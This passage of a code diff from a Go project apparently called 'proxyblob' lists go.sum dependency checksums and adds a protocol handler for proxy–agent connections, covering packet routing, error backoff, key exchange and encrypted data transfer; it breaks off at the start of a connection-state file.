github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
|
||||
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
|
||||
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
|
||||
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/jedib0t/go-pretty v4.3.0+incompatible h1:CGs8AVhEKg/n9YbUenWmNStRW2PHJzaeDodcfvRAbIo=
|
||||
github.com/jedib0t/go-pretty v4.3.0+incompatible/go.mod h1:XemHduiw8R651AF9Pt4FwCTKeG3oo7hrHJAoznj9nag=
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
|
||||
github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
|
||||
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
|
||||
github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
|
||||
github.com/mattn/go-ieproxy v0.0.1/go.mod h1:pYabZ6IHcRpFh7vIaLfK7rdcWgFEb3SFJ6/gNWuh88E=
|
||||
github.com/mattn/go-ieproxy v0.0.12 h1:OZkUFJC3ESNZPQ+6LzC3VJIFSnreeFLQyqvBWtvfL2M=
|
||||
github.com/mattn/go-ieproxy v0.0.12/go.mod h1:Vn+N61199DAnVeTgaF8eoB9PvLO8P3OBnG95ENh7B7c=
|
||||
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
|
||||
github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY=
|
||||
github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
|
||||
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
|
||||
github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4=
|
||||
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
|
||||
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
|
||||
github.com/rs/zerolog v1.33.0 h1:1cU2KZkvPxNyfgEmhHAz/1A9Bz+llsdYzklWFzgp0r8=
|
||||
github.com/rs/zerolog v1.33.0/go.mod h1:/7mN4D5sKwJLZQ2b/znpjC3/GQWY/xaDXUM0kKWRHss=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
|
||||
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
go.mongodb.org/mongo-driver v1.17.3 h1:TQyXhnsWfWtgAhMtOgtYHMTkZIfBTpMTsMnd9ZBeHxQ=
|
||||
go.mongodb.org/mongo-driver v1.17.3/go.mod h1:Hy04i7O2kC4RS06ZrhPRqj/u4DTYkFDAAccj+rVKqgQ=
|
||||
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20201002170205-7f63de1d35b0/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4=
|
||||
golang.org/x/crypto v0.33.0 h1:IOBPskki6Lysi0lo9qQvbxiQ+FvsCC/YWOecCHAixus=
|
||||
golang.org/x/crypto v0.33.0/go.mod h1:bVdXmD7IV/4GdElGPozy6U7lWdRXA4qyRVGJV57uQ5M=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20191112182307-2180aed22343/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
|
||||
golang.org/x/net v0.35.0 h1:T5GQRQb2y08kTAByq9L4/bz8cipCdA8FbRTXewonqY8=
|
||||
golang.org/x/net v0.35.0/go.mod h1:EglIi67kWsHKlRzzVMUD93VMSWGFOMSZgxFjparz1Qk=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191112214154-59a1497f0cea/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc=
|
||||
golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
golang.org/x/text v0.22.0 h1:bofq7m3/HAFvbF51jz3Q9wLg3jkvSPuiZu/pD1XwgtM=
|
||||
golang.org/x/text v0.22.0/go.mod h1:YRoo4H8PVmsu+E3Ou7cqLVH8oXWIHVoX0jqUWALQhfY=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.5/go.mod h1:iBNOmqKz/NUbZx3bA+4hAGLRC7fSK7tgtVDT4tB22XA=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
@@ -0,0 +1,264 @@
|
||||
package protocol
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"proxyblob/pkg/transport"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// PacketHandler processes protocol packets and manages connection lifecycle.
|
||||
// Implementations must be safe for concurrent use by multiple goroutines.
|
||||
type PacketHandler interface {
|
||||
// Start begins packet processing and listens on the specified address (listen only on proxy side)
|
||||
Start(string)
|
||||
|
||||
// Stop gracefully terminates all connections and processing
|
||||
Stop()
|
||||
|
||||
// ReceiveLoop processes incoming packets until stopped
|
||||
ReceiveLoop()
|
||||
|
||||
// OnNew handles connection establishment request
|
||||
OnNew(uuid.UUID, []byte) byte
|
||||
|
||||
// OnAck handles connection establishment acknowledgment
|
||||
OnAck(uuid.UUID, []byte) byte
|
||||
|
||||
// OnData handles payload transfer for established connection
|
||||
OnData(uuid.UUID, []byte) byte
|
||||
|
||||
// OnClose handles connection termination request
|
||||
OnClose(uuid.UUID, byte) byte
|
||||
}
|
||||
|
||||
// BaseHandler implements common protocol functionality for proxy and agent.
|
||||
// It provides connection management, packet routing, and error handling.
|
||||
type BaseHandler struct {
|
||||
// transport handles underlying packet transmission
|
||||
transport transport.Transport
|
||||
|
||||
// Connections maps UUIDs to active Connection objects
|
||||
Connections sync.Map
|
||||
|
||||
// Ctx controls handler lifecycle
|
||||
Ctx context.Context
|
||||
|
||||
// Cancel terminates handler context
|
||||
Cancel context.CancelFunc
|
||||
|
||||
// PacketHandler routes packets to specific handlers
|
||||
PacketHandler
|
||||
}
|
||||
|
||||
// NewBaseHandler creates a handler with specified context and transport.
|
||||
// Uses background context if parent context is nil.
|
||||
func NewBaseHandler(parentCtx context.Context, transport transport.Transport) *BaseHandler {
|
||||
if parentCtx == nil {
|
||||
parentCtx = context.Background()
|
||||
}
|
||||
ctx, cancel := context.WithCancel(parentCtx)
|
||||
return &BaseHandler{
|
||||
transport: transport,
|
||||
Ctx: ctx,
|
||||
Cancel: cancel,
|
||||
}
|
||||
}
|
||||
|
||||
// ReceiveLoop processes incoming packets until context cancellation.
|
||||
// Implements exponential backoff for consecutive errors.
|
||||
func (h *BaseHandler) ReceiveLoop() {
|
||||
consecutiveErrors := 0
|
||||
maxConsecutiveErrors := 5
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-h.Ctx.Done():
|
||||
return
|
||||
default:
|
||||
data, errCode := h.transport.Receive(h.Ctx)
|
||||
if errCode != ErrNone {
|
||||
if h.transport.IsClosed(errCode) {
|
||||
h.Stop()
|
||||
return
|
||||
}
|
||||
|
||||
if h.Ctx.Err() == nil && errCode != ErrTransportError {
|
||||
consecutiveErrors++
|
||||
if consecutiveErrors == maxConsecutiveErrors {
|
||||
return // Too many errors, just exit
|
||||
}
|
||||
time.Sleep(time.Duration(consecutiveErrors*50) * time.Millisecond)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
consecutiveErrors = 0
|
||||
|
||||
if len(data) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
packet := Decode(data)
|
||||
if packet == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
errCode = h.handlePacket(packet)
|
||||
if errCode != ErrNone {
|
||||
if h.Ctx.Err() != nil && errCode == ErrConnectionClosed {
|
||||
continue
|
||||
}
|
||||
h.SendClose(packet.ConnectionID, errCode)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// handlePacket routes packet to appropriate handler based on command.
|
||||
// Returns error code indicating success or specific failure.
|
||||
func (h *BaseHandler) handlePacket(packet *Packet) byte {
|
||||
switch packet.Command {
|
||||
case CmdNew:
|
||||
return h.PacketHandler.OnNew(packet.ConnectionID, packet.Data)
|
||||
case CmdAck:
|
||||
return h.PacketHandler.OnAck(packet.ConnectionID, packet.Data)
|
||||
case CmdData:
|
||||
return h.PacketHandler.OnData(packet.ConnectionID, packet.Data)
|
||||
case CmdClose:
|
||||
return h.PacketHandler.OnClose(packet.ConnectionID, packet.Data[0])
|
||||
default:
|
||||
return ErrInvalidCommand
|
||||
}
|
||||
}
|
||||
|
||||
// SendNewConnection initiates key exchange for new connection.
|
||||
// Returns error code indicating success or specific failure.
|
||||
func (h *BaseHandler) SendNewConnection(connectionID uuid.UUID) byte {
|
||||
privateKey, publicKey := GenerateKeyPair()
|
||||
nonce := GenerateNonce()
|
||||
|
||||
connObj, exists := h.Connections.Load(connectionID)
|
||||
if !exists {
|
||||
return ErrConnectionNotFound
|
||||
}
|
||||
conn := connObj.(*Connection)
|
||||
|
||||
// Store nonce and private key for key derivation during ACK
|
||||
tempData := make([]byte, len(nonce)+len(privateKey))
|
||||
copy(tempData[:len(nonce)], nonce)
|
||||
copy(tempData[len(nonce):], privateKey)
|
||||
conn.SecretKey = tempData
|
||||
|
||||
// Send nonce and public key to peer
|
||||
data := make([]byte, len(nonce)+len(publicKey))
|
||||
copy(data[:len(nonce)], nonce)
|
||||
copy(data[len(nonce):], publicKey)
|
||||
|
||||
return h.sendPacket(CmdNew, connectionID, data)
|
||||
}
|
||||
|
||||
// SendConnAck completes key exchange by deriving shared key.
|
||||
// Returns error code indicating success or specific failure.
|
||||
func (h *BaseHandler) SendConnAck(connectionID uuid.UUID) byte {
|
||||
connObj, exists := h.Connections.Load(connectionID)
|
||||
if !exists {
|
||||
return ErrConnectionNotFound
|
||||
}
|
||||
conn := connObj.(*Connection)
|
||||
|
||||
privateKey, publicKey := GenerateKeyPair()
|
||||
|
||||
// The first 24 bytes of SecretKey should be the nonce,
|
||||
// and the server's public key should be in the data field from OnNew
|
||||
serverData := conn.SecretKey
|
||||
nonce := serverData[:24]
|
||||
serverPublicKey := serverData[24:]
|
||||
|
||||
symmetricKey, errCode := DeriveKey(privateKey, serverPublicKey, nonce)
|
||||
if errCode != ErrNone {
|
||||
return errCode
|
||||
}
|
||||
|
||||
conn.SecretKey = symmetricKey
|
||||
|
||||
// Send public key in CmdAck
|
||||
return h.sendPacket(CmdAck, connectionID, publicKey)
|
||||
}
|
||||
|
||||
func (h *BaseHandler) SendData(connectionID uuid.UUID, data []byte) byte {
|
||||
// Get connection
|
||||
connObj, exists := h.Connections.Load(connectionID)
|
||||
if !exists {
|
||||
return ErrConnectionNotFound
|
||||
}
|
||||
conn := connObj.(*Connection)
|
||||
|
||||
encrypted, errCode := Encrypt(conn.SecretKey, data)
|
||||
if errCode != ErrNone {
|
||||
return errCode
|
||||
}
|
||||
data = encrypted
|
||||
|
||||
return h.sendPacket(CmdData, connectionID, data)
|
||||
}
|
||||
|
||||
// SendClose sends a connection termination packet with an error code.
|
||||
func (h *BaseHandler) SendClose(connectionID uuid.UUID, errCode byte) byte {
|
||||
connObj, exists := h.Connections.Load(connectionID)
|
||||
if !exists {
|
||||
return ErrConnectionNotFound
|
||||
}
|
||||
conn := connObj.(*Connection)
|
||||
|
||||
conn.Close()
|
||||
return h.sendPacket(CmdClose, connectionID, []byte{errCode})
|
||||
}
|
||||
|
||||
// sendPacket is the internal method that encodes and sends all packet types.
|
||||
// It handles error checking and context checking.
|
||||
func (h *BaseHandler) sendPacket(cmd byte, connectionID uuid.UUID, data []byte) byte {
|
||||
if h.Ctx.Err() != nil {
|
||||
return ErrHandlerStopped
|
||||
}
|
||||
|
||||
packet := NewPacket(cmd, connectionID, data)
|
||||
if packet == nil {
|
||||
return ErrInvalidPacket
|
||||
}
|
||||
|
||||
encoded := packet.Encode()
|
||||
if encoded == nil {
|
||||
return ErrInvalidPacket
|
||||
}
|
||||
|
||||
errCode := h.transport.Send(h.Ctx, encoded)
|
||||
if errCode != ErrNone {
|
||||
// Check if this is a transport closure
|
||||
if h.transport.IsClosed(errCode) {
|
||||
return ErrTransportClosed
|
||||
}
|
||||
return ErrPacketSendFailed
|
||||
}
|
||||
|
||||
return ErrNone
|
||||
}
|
||||
|
||||
func (h *BaseHandler) CloseAllConnections() {
|
||||
h.Connections.Range(func(key, value interface{}) bool {
|
||||
conn := value.(*Connection)
|
||||
|
||||
// Only notify if not already closed
|
||||
select {
|
||||
case <-conn.Closed:
|
||||
// Already closed
|
||||
default:
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
return true
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
package protocol
|
||||
|
||||
import (
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// ConnectionState tracks the lifecycle of a proxy connection
|
||||
type ConnectionState int
|
||||
|
||||
const (
|
||||
// StateNew indicates a pending connection awaiting establishment
|
||||
StateNew ConnectionState = iota
|
||||
|
||||
